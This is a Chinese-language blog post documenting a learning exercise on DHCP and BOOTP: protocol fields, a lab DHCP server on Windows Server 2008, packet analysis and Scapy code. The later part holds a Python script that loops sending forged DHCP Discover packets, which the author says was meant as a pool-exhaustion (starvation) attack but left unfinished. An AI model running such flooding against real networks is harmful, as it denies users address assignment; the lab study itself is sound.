DHCP

动态主机设置协议(Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作。

BOOTP

BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。

两者关系

DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议。BOOTP只用于无盘工作站,DHCP 即可用于无盘站也可用于一般的网络应用。

DHCP常见options类型

options号options作用

1设置子网掩码选项。

3设置网关地址选项。

6设置DNS服务器地址选项。

50设置请求IP选项。

52设置Option附加选项。

53设置DHCP消息类型。

BOOTP报文字段

op:操作码/消息类型,取值为1或2:

1= BOOTREQUEST (引导请求)

2 = BOOTREPLY (引导应答)

xid: 事务ID,一个随机数,用来匹配引用请求和应答。

Chaddr: Client hardware address,客户端硬件地址,由客户端填写。

option:选项字段

关闭自己家中路由器的dhcp服务

使用windows server2008 搭建本次学习所使用的dhcp服务器

1. 搭建dhcp服务器首先需要做的就是将自己的ip地址设置为静态

2.打开服务器管理器添加角色

3.勾选dhcp服务,下一步

4.这里可以看到一个要求就是必须在此计算机设置一个静态ip地址,前面设置过了,下一步

5.将此静态ip地址作为dhcp服务器的地址

6.dns服务器地址自己看看着来填,填完可以点右边验证一下是否可用

7.这里选择不需要,然后下一步

8.添加一个作用域,名字随便范围给了200-250,网关为当前所在网关,下一步

9.这里选择禁用ipv6,下一步

10.确认无误,开始安装

安装完成后打开虚拟机win7,尝试自动获取地址

获取到的地址就是dhcp地址池的范围,打开dhcp服务器查看地址池租用,可以看到192.168.3203这个地址正在租用,也就说明服务器搭建完成

分析下图dhcp请求包,来获取后续需要的参数

dhcp服务器:192.168.3.51

dhcp地址池:192.168.3.200-250

从图中得知一个完成的DHCP

Discover数据包是由Ether/IP/UDP/DHCP构成的

链路层Ether:

1

Src:本机mac地址

1

Dst:ff:ff:ff:ff:ff:ff:ff:ff 即为广播地址

1

网络层IP:

1

Src:0.0.0.0*

1

Dst:255.255.255.255

1

IP层只是将上一层的mac地址转换成ip地址

传输层UDP:

1

Src port:67

1

Dst port:68

1

67/68端口分别是为bootp服务开放的端口,通常用来请求ip,dhcp服务使用67端口作为源端口,68端口作为目的端口来广播信息

应用层DHCP:

1

client address:本机mac地址

1

xid :随机值

1

options:53 Discover

1

得到所有参数后打开scapy测试是否可行

dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())

dhcp_attack[Ether].src = RandMAC()#给Ether的src设置随机mac

dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'#给Ether的dst设置为广播

dhcp_attack[IP].src = '0.0.0.0'

dhcp_attack[IP].dst = '255.255.255.255'

dhcp_attack[UDP].sport = 68

dhcp_attack[UDP].dport = 67

dhcp_attack[BOOTP].chaddr = RandMAC()#给BOOTP协议中的chaddr字段设置随机mac

dhcp_attack[BOOTP].xid = 14513#xid为随机值,随便给

dhcp_attack[BOOTP].flags = 0x8000

dhcp_attack[DHCP].options = [('message-type','discover')]#给DHCP协议的options设置为discover

> Dhcp_attack.show()#确认参数是否无误

> 打开wireshare在后台抓包

> sendp(dhcp_attack)#没有问题后就发送数据包

> Wireshare筛选栏为 dhcp and ip.dst eq 255.255.255.255

就可以看到刚刚发送的数据包了,且第二个还包含的dhcp服务器返回的ip地址

用python达到自动构建发送dhcp_discover数据包的功能

#!/usr/bin/python

from scapy.all import *

import random

def dhcp_attack():

random_xid = random.randint(1,1000000)

random_mac = str(RandMAC())

i = 1

while i > 0 :

dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())

dhcp_attack[Ether].src = random_mac

dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'

dhcp_attack[IP].src = '0.0.0.0'

dhcp_attack[IP].dst = '255.255.255.255'

dhcp_attack[UDP].sport = 68

dhcp_attack[UDP].dport = 67

dhcp_attack[BOOTP].chaddr = random_mac

dhcp_attack[BOOTP].xid = random_xid

dhcp_attack[BOOTP].flags = 0x8000

dhcp_attack[DHCP].options = [('message-type','discover')]

try:

sendp(dhcp_attack,verbose=0)

i += 1

print ("sending dhcp_discover packet:%s , Ctrl + Z stop"%i)

except:

print ("sending error")

dhcp_attack()

运行效果

本是想写一个dhcp攻击的过程的,将dhcp地址池的地址全部占用。

一次完整的dhcp过程包括,请求,响应,确认,

但折腾了一天也写不出确认包,没有确认包就无法拿到服务器分配的地址,先放着把,等有头绪再写。

————————————————

版权声明:本文为CSDN博主「猪儿虫鸭」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/weixin_44344395/java/article/details/104601004

dhcp协议_记录一次DHCP协议的学习过程相关推荐

  1. ethercat通讯协议_工业控制常用接口协议大全,长见识了

    I/O接口概念 I/O接口是一电子电路(以IC芯片或接口板形式出现 ),其内有若干专用寄存器和相应的控制逻辑电路构成.它是CPU和I/O设备之间交换信息的媒介和桥梁.CPU与外部设备.存储器的连接和数 ...

  2. igmp是哪个层协议_【干货】IGMPv1协议闲聊

    本期与大家聊聊IGMPv1(因特网组管理协议),分享我个人见解,以及梳理一下IGMPv1相关知识点. 一 它是干嘛用的? 我们学一个协议时,首先,最想知道的就是它是干嘛用的?什么时候才需要它?部署场景 ...

  3. python实现mqtt协议_自己动手实现MQTT协议

    写在前面 前段时间弄IoT相关的东西,系统学习了一下 MQTT 协议,在此分享出来. 本文先是对 MQTT 协议做了简单的介绍:接着是对 MQTT协议的内容做了较为全面的解读:最后使用 Python ...

  4. java ws协议_基于java实现websocket协议过程详解

    最近了解了下websocket和socket这个东西,说不得不来说下为何要使用 WebSocket ,和为何不用http. 为何需要WebSocket ? HTTP 协议是一种无状态的.无连接的.单向 ...

  5. 为什么tcp不采用停等协议_为什么TCP建立连接协议是三次握手,而关闭连接却是四次握手呢?...

    看到了一道面试题:"为什么TCP建立连接协议是三次握手,而关闭连接却是四次握手呢?为什么不能用两次握手进行连接?",想想最近也到金三银四了,所以就查阅了相关资料,整理出来了这篇文章 ...

  6. java mqtt协议_基于 tio 实现 mqtt5 协议之 micamqtt

    一.简介 MQTT 全称为 Message Queuing Telemetry Transport(消息队列遥测传输)是一种基于发布/订阅范式的"轻量级"消息协议,由 IBM 发布 ...

  7. ocsp协议_什么是在线证书状态协议(OCSP)和示例教程?

    ocsp协议 Certificates like SSL, X.509 are used to secure network traffic. But every certificate has it ...

  8. mtk协议与qc协议_通用充电器快充协议QC2.0,QC3.0,MTKPE,PE+,充电识别

    通用 USB 充电器(快充)说明 .快充的意义: USB 得到广泛普及是因为其能够为外围设备供电. USB 孕育于上世纪 90 年代 中期,最初的 目的是将外部设备(例如键盘.鼠标.打印机.外置驱动器 ...

  9. mysql replication 协议_深入解析MySQL replication协议

    WHY 最开始的时候,go-mysql只是简单的抽象mixer的代码,提供一个基本的mysql driver以及proxy framework,但做到后面,笔者突然觉得,既然研究了这么久mysql c ...

最新文章

  1. mysql整形溢出报错_MySQL整型数据溢出的解决方法
  2. linux 代码获取当前路径,【linux】shell代码,获取当前路径,创建文件夹
  3. Android 强烈推荐:程序员接私活那点事
  4. HDU-2149(博弈)
  5. java.lang.NoClassDefFoundError: javax/xml/bind/ValidationException
  6. nyoj-496-巡回赛--拓扑排序
  7. 如何使用python批量压缩图片_Python实现批量压缩图片
  8. mdl格式是什么软件生成的_Mac 上有什么好的视频格式转换软件?
  9. 专业音频如何把电平转换成dbu_这是我见过最细致的音频系统增益设置指南,跟着学起来!...
  10. linux开机出现一下错误Give root password for maintenance (or type Control-D to continue):
  11. js获取单选框里面的值
  12. javascript实现的自适应宽度的瀑布流
  13. ARC和MRC混合使用
  14. apache 2.4.4 自动分割日志,按年月日生成
  15. 老游戏与你共渡亲子时光
  16. JUCE小白求教VS2019-C1083无法打开包括文件
  17. L2签证都有哪些福利待遇?
  18. MiKTeX + Texmaker ← 推荐的 LaTeX 学习环境
  19. mac 安装brew
  20. FFmpeg —— 录制Windows桌面与麦克风,音视频同步(附源码)

热门文章

  1. 【机器学习】Pandas读取存在Github上的数据集
  2. Keil下Debug随笔
  3. 《梦断代码》读后感2
  4. Windows Workflow Foundation 4.0
  5. 转:Linux 僵尸进程详解
  6. Spring Cloud分布式微服务系统中利用redssion实现分布式锁
  7. 实例协议分析RFC1483:AAL5和几种常见ADSL接入技术
  8. Codeforces Round #438 B. Race Against Time
  9. 服务端指南 数据存储篇 | 聊聊 Redis 使用场景(转)
  10. ssh登录 The authenticity of host 192.168.0.xxx can't be established. 的问题